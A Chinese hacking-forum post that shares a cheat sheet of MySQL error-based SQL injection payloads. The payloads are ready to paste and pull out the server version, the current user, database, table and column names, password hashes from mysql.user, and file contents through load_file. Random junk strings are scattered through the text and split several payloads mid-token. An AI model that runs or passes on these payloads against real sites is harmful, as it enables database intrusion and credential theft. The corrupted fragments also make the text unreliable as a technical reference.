找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2551|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
( c, S8 e7 C, f! K) S) D0 F) c7 L# ~7 ?# y- z

+ D/ W+ ^0 `. k; lMysql暴错注入参考(pdf),每天一贴。。。
( G1 h5 _4 w1 q$ w% x' o* f$ Q# b( d
MySql Error Based Injection Reference6 v0 w0 M' q7 D5 l
[Mysql暴错注入参考]8 g2 a$ {' x, d  c+ x, Z' ~4 S
Authornig0s1992# l* b5 J$ \0 y
Blog:http://pnig0s1992.blog.51cto.com/
7 q5 s9 E; r/ e! ?( C! BTeAm:http://www.FreeBuf.com// [" T0 R. H/ b$ y1 ^# i) _
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
* T+ p! F# v& L3 |小部分版本使用name_const()时会报错.可以用给出的Method.2测试+ l  M) H6 A4 C; B
查询版本:7 Q% ?( t* X' u# O9 h' \2 _
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
) [5 d) }" N: Mjoin+(select+name_const(@@version,0))b)c)' i2 e0 A8 q% P
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro9 l) [: K. T) ^% |1 E0 `
up by a)b)
7 c7 A2 D6 x! f5 a查询当前用户:
/ }, }& T, S; X3 \1 AMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
4 B6 L% x9 l, I8 Q3 e6 ^Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
# f/ h+ ]. I$ [2 {" b) _and(0)*2))x+from+information_schema.tables+group+by+x)a)% r* d6 G0 Q: K5 @, E
查询当前数据库:% B) x, }+ O# f$ U6 U
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
8 S: L7 [% Y6 G; d0 lMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo3 ~) k+ T( k, u5 l7 }: S0 K9 [
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ m) R2 w/ ?  ~4 t* B$ J/ \依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
& X) x0 X; h) K( t( M6 m- R. b' JLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n; Y6 ~+ h& ^  `
顺序替换
5 a1 p6 b- k6 J% L# d+ t爆指定库数目:
8 S4 z8 ^9 l# Z1 M3 Q8 |* j; Pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
" L' ]9 U7 Z) y% Pable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
6 ~1 o) f1 d& W$ A" @$ O+by+x)a)+and+1=1 0x6D7973716C=mysql
0 ?5 H- i2 N5 a$ F- ^3 C依次爆表:
# w6 n. D/ K8 C% m0 nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
$ t  n% \/ Q- o/ M0 O! S8 Lable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta! j$ L, F) U& o( D
bles+group+by+x)a)+and+1=1
2 E* E$ b: R( J0x6D7973716C=Mysql 将n顺序替换3 E5 `- w3 z7 _% n8 L
爆表内字段数目:
  B* R* M+ k+ k) d% oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
% `2 Q6 K  X) w9 G! B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
$ H* W& h7 q; x; O0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
0 W' d6 I0 F2 v5 M) Q; g( ]- T+ t6 j依次爆字段:( K9 f' s. s6 I; ~
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where" [' J& |6 p% P/ s5 @( X, N
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
5 i. Y8 q9 M# o/ O5 H% o  vloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
& i9 }; u9 l3 i  W; ?1 j- D& L! D依次暴内容:
% ^$ P: Q+ Z# p+ C- y5 eand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
; M# V) m) g$ F* H- Ema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
* f5 E6 A" i$ b' \) ~将n顺序替换
1 I5 w( H/ t& n爆文件内容:
/ s7 x8 P2 n) k0 g! qand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a" y& S9 {6 z9 M6 y$ h+ K# X
from+information_schema.tables+group+by+a)b) ' d* _% i; U7 i, Y
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节. g0 U) |2 e5 P2 r
Thx for reading.
/ B/ g: i. p0 O- n7 m' I
( u  T6 @6 s; \+ \不要下载也可以, 0 |, Q% G+ @3 }; L0 ?& z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表